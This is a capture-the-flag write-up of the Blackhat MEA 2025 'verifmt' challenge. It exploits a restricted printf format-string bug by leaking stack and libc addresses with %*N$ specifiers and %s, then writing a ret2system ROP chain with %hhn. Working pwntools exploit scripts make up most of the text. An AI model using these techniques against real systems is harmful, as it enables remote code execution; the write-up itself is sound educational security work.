Overview

Blackhat MEA CTF Final 2025 – pwn/verifmt

December 2, 2025
10 min read

TL;DR

You can use partial format strings (%*N$) to leak the lower 32 bits of stack values at arbitrary positions. Since only one nibble varies in the upper 32 bits of stack addresses (1/16 chance), we can reliably reconstruct full 64-bit addresses from the partial leak and use that to leak libc base, then do ret2system.

Examining the provided files

Looking at the provided files we have the challenge binary, it’s source code and some docker config files.

$ ls -la                
total 40
drwxrwxr-x 2 kali kali  4096 Dec  3 07:23 .
drwxrwxr-x 4 kali kali  4096 Dec  3 07:22 ..
-rwxrw-rw- 1 kali kali 16440 Dec  1 14:57 chall
-rwxrw-rw- 1 kali kali   117 Dec  1 14:57 compose.yml
-rwxrw-rw- 1 kali kali   337 Dec  1 14:57 Dockerfile
-rwxrw-rw- 1 kali kali  1449 Dec  1 14:57 main.c

The challenge binary is 64-bit, dynamically linked file with all protections enabled.

$ file chall | tr ',' '\n'
chall: ELF 64-bit LSB pie executable
 x86-64
 version 1 (SYSV)
 dynamically linked
 interpreter /lib64/ld-linux-x86-64.so.2
 BuildID[sha1]=4ab70f886fa90282a07f9f6a4d9fd391a4127ced
 for GNU/Linux 3.2.0
 not stripped
 
$ pwn checksec chall                                            
[*] '/home/kali/blackhat-finals/verifmt/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Patching the binary

The challenge files don’t include libc.so.6, but docker config files are provided. We can use these to spin up the container and extract the exact libc and loader (ld-linux-x86-64.so.2) used on the remote server, then patch our local binary with them.

$ docker compose up --build

In another terminal:

$ docker ps                
CONTAINER ID   IMAGE                  COMMAND       CREATED        STATUS         PORTS                                       NAMES
81f013b2d53d   verifmt-verifmt-dist   "/jail/run"   26 hours ago   Up 9 seconds   0.0.0.0:5000->5000/tcp, :::5000->5000/tcp   verifmt-verifmt-dist-1
 
$ docker cp 81f013b2d53d:/srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ld-linux-x86-64.so.2
Successfully copied 239kB to /home/kali/blackhat-finals/verifmt/ld-linux-x86-64.so.2
 
$ docker cp 81f013b2d53d:/srv/lib/x86_64-linux-gnu/libc.so.6 libc.so.6           
Successfully copied 2.13MB to /home/kali/blackhat-finals/verifmt/libc.so.6

Now that we have all the files we need we can patch the binary to use the libc and ld we just copied from the docker.

$ patchelf --set-interpreter ./ld-linux-x86-64.so.2  --set-rpath . ./chall
$ ldd ./chall           
        linux-vdso.so.1 (0x00007feb1b7d2000)
        libc.so.6 => ./libc.so.6 (0x00007feb1b400000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007feb1b7d4000)

Examining the source code

Looking at the main.c file we can identify two functions i.e. main(), verify_fmt().

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);
 
  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }
 
      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }
 
      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiers\n", n_args);
        return 1;
      }
 
      argcnt++;
    }
  }
 
  return 0;
}
 
int main() {
  size_t n_args;
  long args[4];
  char fmt[256];
 
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
 
  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }
 
    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }
 
    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }
 
    /* Get format string */
    while (getchar() != '\n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }
 
    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }
 
    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }
 
  return 0;
}
 

Let’s examine the main() function first:

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];
 
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
 
  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }
 
    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }
 
    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }
 
    /* Get format string */
    while (getchar() != '\n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }
 
    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }
 
    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }
 
  return 0;
}

The main() function turns buffering off and enter a while-loop.

First it takes the number of arguments which can’t be greater than 4. And, sets the args to zero to prevent garbage values and takes value for each argument.

    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }
 
    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }
 
    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }

After taking the arguments it reads a string and calls verify_fmt() on our input string and if the return value is 0 it’s calls printf() on our string with the arguments we specified.

    /* Get format string */
    while (getchar() != '\n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }
 
    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }
 
    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);

Let’s take a look at the verify_fmt() function which takes the our input string fmt and the n_args as argument.

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);
 
  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }
 
      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }
 
      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiers\n", n_args);
        return 1;
      }
 
      argcnt++;
    }
  }
 
  return 0;
}
 

The verify_fmt() function loops over our input string and it counts the number of % not followed by %. Also, it checks if the character immediately after % is a digit and if it is then, it returns 1 because positional arguments (%N$p where N is the position) are not allowed. One more thing that verify_fmt() does is that it checks on each loop if argcnt >= n_args (where argcnt is the count of how many times % occurs) and if it is then it returns 1.

So, there are a few things we can draw from this which are:

  1. We can’t use format strings like %9$lx/%9$lx (where 9 represents any number N) because of this check: isdigit(fmt[i+1]).
  2. We can’t specify more format strings then the number of arguments specified.

Exploitation

The problem with exploiting this format string bug is that we don’t have leaks which we can use and the way the program is written makes it really hard to get leaks in the normal ways i.e by spamming %p.%p.%p.%p ... %p because we can’t specify more format strings then the number of arguments and neither can we use %N$p to leak stack values cause of isdigit(fmt[i+1]) check where fmt[i] is %.

There are multiple ways you can bypass this check:

$ ./chall
# of args: 4
args[0]: 1
args[1]: 2
args[2]: 3
args[3]: 4
Format string: %*x %*x %*x %lx
2   4 1000 7ffcf4671568

The above example works because %*x format specifier consumes two arguments: the first as width and the second as the value to print. The first %*x consumes args[0]=1 (width) and prints args[1]=2, the second %*x consumes args[2]=3 (width) and prints args[3]=4, and the third %*x consumes uninitialized stack values beyond our arguments. By carefully positioning format specifiers to exhaust our controlled arguments, we reach uninitialized stack memory where a final %lx prints 0x7ffcf4671568—a stack address leak.

Also, there is one method where you can use the value at any arbitrary position as a width specifier (%*N$x) and from the number of spaces printed you can deduce the value, but this would be impractical as a normal stack leak would print trillions of spaces. The same goes for precision where we could use %.*N$x.

$ ./chall
# of args: 4
args[0]: 1
args[1]: 1
args[2]: 99
args[3]: 1
Format string: %*3$lx
                                                                                                  1
# of args: 4
args[0]: 1
args[1]: 1
args[2]: 99
args[3]: 1
Format string: %.*3$lx
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001

In the first example, 99 spaces are printed because the value at position 3 on the stack is 99. In the second example, 99 zeros are printed for the same reason. While this technique is possible, it’s completely impractical for leaking actual stack addresses that would result in billions or trillions of characters being printed.

While there are multiple solutions to this problem, the one I ended up using leaks the lower 32 bits at any arbitrary position using partial format strings like %*N$. Since only one nibble varies in the upper 32 bits of stack addresses (1/16 chance), we can reliably reconstruct full 64-bit addresses from the partial leak.

$ ./chall
# of args: 4
args[0]: 1
args[1]: 2
args[2]: 3
args[3]: 4
Format string: %*6$
%4096

Let’s write a few helper functions:

def send(arguments, fmt):
    io.sendlineafter(b"# of args: ", str(len(arguments)).encode())
    for i in range(len(arguments)): 
    	io.sendlineafter(f"[{i}]: ".encode(), str(arguments[i]).encode())
    io.sendlineafter(b"string: ", fmt)

send() takes a array of arguments and a string and it automates sending the program the arguments and our fmt string.

for i in range(10):
send(
[1, 2, 3, 4],
f"|%*{(i*4)}$||%*{(i*4)+1}$||%*{(i*4)+2}$||%*{(i*4)+3}$".encode()
)
io.recvuntil(b"|")
for pos, val in enumerate(io.recvline().split(b'\n')[0].decode().split("||")):
if '$' in val: continue
print(val[1:])
print(f"{(i*4)+pos}: {int(val[1:]) & 0xFFFFFFFF}")

The above snippet probes the stack by sending %*N$ format strings at increasing positions and printing the results so we can identify which offsets contain useful leaks.

Running the script we can identify that the position 7 looks like part of a stack leak.

#!/usr/bin/env python3
from pwn import *
 
exe = context.binary = ELF(args.EXE or './chall')
libc = ELF(exe.libc.path)
 
def send(arguments, fmt):
    io.sendlineafter(b"# of args: ", str(len(arguments)).encode())
    for i in range(len(arguments)): io.sendlineafter(f"[{i}]: ".encode(), str(arguments[i]).encode())
    io.sendlineafter(b"string: ", fmt)
 
io = process()
 
for i in range(10):
    send(
        [1, 2, 3, 4],
        f"|%*{(i*4)}$||%*{(i*4)+1}$||%*{(i*4)+2}$||%*{(i*4)+3}$".encode()
    )
    io.recvuntil(b"|")
    for pos, val in enumerate(io.recvline().split(b'\n')[0].decode().split("||")):
        if '$' in val: continue
        print(val[1:])
        print(f"{(i*4)+pos}: {int(val[1:]) & 0xFFFFFFFF}")

We can verify this by attaching gdb to the process and taking the upper 32 bits from vmmap and join it with the lower 32-bits that we leak to see if it’s a valid address.

To do this add the following lines to the script:

gdb.attach(io)
io.interactive()

Running the modified script attaches gdb to the running process and launches the debugger window.

Here 0x00007ffc is the upper 32 bits while 0x85af49b8 is the lower 32 bits being leaked at position 7 (%*7$). Using gdb we confirmed that the reconstructed address (0x7ffc85af49b8) is a valid stack address.

In the upper 32 bits of stack addresses only one nibble changes across runs—the last one. So the upper 32 bits look like 0x00007ff[0-f] where [0-f] represents the nibble that changes.

┌─────────────────┬─────────────────┐
│  Upper 32 bits  │  Lower 32 bits  │
│   0x00007ff[?]  │   0x85af49b8    │
└─────────────────┴─────────────────┘
     ^                    ^
     |                    |
  1 nibble varies    Leaked via %*7$
  (1/16 chance)

Let’s find the offset of the saved rip from this leaked address. We can do this by setting a breakpoint at the last instruction of main(), which is the ret.

pwndbg> p &main
$4 = (<data variable, no debug info> *) 0x55ac4edb8160
pwndbg> b *0x55ac4edb8160+291
Breakpoint 1 at 0x55ac4edb8283
pwndbg>  x/i 0x55ac4edb8283
   0x55ac4edb8283:      ret
pwndbg>  c

Send - as input when it asks for the number of arguments. This makes scanf() error out and the code returns:

    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }

The program stops at the breakpoint which in this case is ret instruction:

Now let’s examine the saved frame and calculate the offset of saved RIP from our leak:

pwndbg> i f
Stack level 0, frame at 0x7ffc85af4b30:
 rip = 0x55ac4edb8283; saved rip = 0x7f9165e2a1ca
 called by frame at 0x7ffc85af4bd0
 Arglist at 0x7ffc85af4b20, args: 
 Locals at 0x7ffc85af4b20, Previous frame's sp is 0x7ffc85af4b30
 Saved registers:
  rbx at 0x7ffc85af4af8, rbp at 0x7ffc85af4b00, r12 at 0x7ffc85af4b08, r13 at 0x7ffc85af4b10, r14 at 0x7ffc85af4b18, r15 at 0x7ffc85af4b20,
  rip at 0x7ffc85af4b28
 
pwndbg> printf "0x%x\n", 0x7ffc85af4b28-0x7ffc85af49b8
0x170

So, the saved rip is at +0x170 offset from our leak.

The saved rip here is an address in libc (+0x2a1ca), so if we read the rip we can get a libc leak:

pwndbg> x/gx 0x7ffc85af4b28
0x7ffc85af4b28: 0x00007f9165e2a1ca
pwndbg> x/i 0x00007f9165e2a1ca
   0x7f9165e2a1ca:      mov    edi,eax
pwndbg> vmmap 0x00007f9165e2a1ca
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x7f9165e00000     0x7f9165e28000 r--p    28000       0 libc.so.6
   0x7f9165e28000     0x7f9165fb0000 r-xp   188000   28000 libc.so.6 +0x21ca
    0x7f9165fb0000     0x7f9165fff000 r--p    4f000  1b0000 libc.so.6
pwndbg> printf "0x%x\n", 0x00007f9165e2a1ca-0x7f9165e00000
0x2a1ca

This also tells us if our nibble guess is correct—if the address is wrong the program will segfault. We can wrap this in a while-true loop with try-except to keep retrying until we get a successful leak:

while True:
    try:
        io = process()
 
        send([0], f"%*7$".encode())
        rip = ((0x7fff<<32) | (int(io.recvline().decode().strip()[1:]) & 0xFFFFFFFF)) + 0x170
 
        send([rip], b'%s')
        libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x2a1ca ; break
    except: continue
 
log.info(hex(libc.address))

We are leaking the address in the saved rip by using %s which takes an address and prints from that address until it reaches ‘\x00’.

Running the following script we can get a libc leak:

#!/usr/bin/env python3
from pwn import *
 
exe = context.binary = ELF(args.EXE or './chall')
libc = ELF(exe.libc.path)
 
def send(arguments, fmt):
    io.sendlineafter(b"# of args: ", str(len(arguments)).encode())
    for i in range(len(arguments)): io.sendlineafter(f"[{i}]: ".encode(), str(arguments[i]).encode())
    io.sendlineafter(b"string: ", fmt)
 
io = process()
 
while True:
    try:
        io = process()
 
        send([0], f"%*7$".encode())
        rip = ((0x7fff<<32) | (int(io.recvline().decode().strip()[1:]) & 0xFFFFFFFF)) + 0x170
 
        send([rip], b'%s')
        libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x2a1ca ; break
    except: continue
 
log.info(hex(libc.address))
 
gdb.attach(io)
io.interactive()

From here it’s straightforward—we build a rop chain to perform ret2system and overwrite the saved rip with that chain:

"""
pop rdi ; ret ==> rdi = ptr to /bin/sh\x00
ret
system(&cmd)
"""
rop  = b''
rop += p64(libc.address + 0x10f78b)
rop += p64(next(libc.search(b"/bin/sh\x00")))
rop += p64(libc.address + 0x2882f)
rop += p64(libc.sym.system)
 
 
for i in range(len(rop)//8): 
    target = u64(rop[(i*8):((i+1)*8)])
    for j in range(6):
        send([((target >> (j*8)) & 0xff)-1, 0, rip+(i*8)+j], b"%*x %hhn")

For those unfamiliar with format string exploitation: this code iterates through each 8-byte gadget in the ROP chain and writes it byte-by-byte to rip+(i*8)+j. We have a 0 here because %*x consumes two values—the first as width and the second to print. So it prints ((target >> (j*8)) & 0xff)-1 spaces and then 0, making the total bytes printed (target >> (j*8)) & 0xff (the -1 cancels out). Then %hhn writes this byte count to our target address rip+(i*8)+j.

Once we have overwritten the rip we can send - to make scanf() error out and make the code return:

io.sendline(b"-") ; io.clean()
io.interactive()

You can find the full script here.

Conclusion

This challenge demonstrated an interesting approach to format string exploitation with restricted positional arguments. Thanks to ptr-yudai for the great challenge and BlackHat MEA for the great event!